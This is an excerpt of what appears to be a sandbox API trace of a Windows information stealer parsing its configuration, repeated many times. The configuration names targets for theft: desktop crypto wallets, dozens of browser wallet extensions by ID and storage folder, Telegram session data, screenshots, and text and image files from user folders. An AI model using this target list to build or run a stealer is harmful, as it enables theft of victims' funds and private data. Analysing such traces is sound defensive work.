Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3977 [0266.268] LocalAlloc (uFlags=0x40, uBytes=0x1f92) returned 0x6fc408 [0266.268] StrCpyW (in: psz1=0x6f1ee8, psz2="26" | out: psz1="26") returned="26" [0266.269] LocalFree (hMem=0x6fc408) returned 0x0 [0266.269] StrStrW (lpFirst="Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.269] lstrlenW (lpString="guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3977 [0266.269] LocalAlloc (uFlags=0x40, uBytes=0x1f92) returned 0x6fc408 [0266.269] StrCpyW (in: psz1=0x6f4830, psz2="Guarda" | out: psz1="Guarda") returned="Guarda" [0266.269] LocalFree (hMem=0x6fc408) returned 0x0 [0266.269] StrStrW (lpFirst="*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.270] lstrlenW (lpString="guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 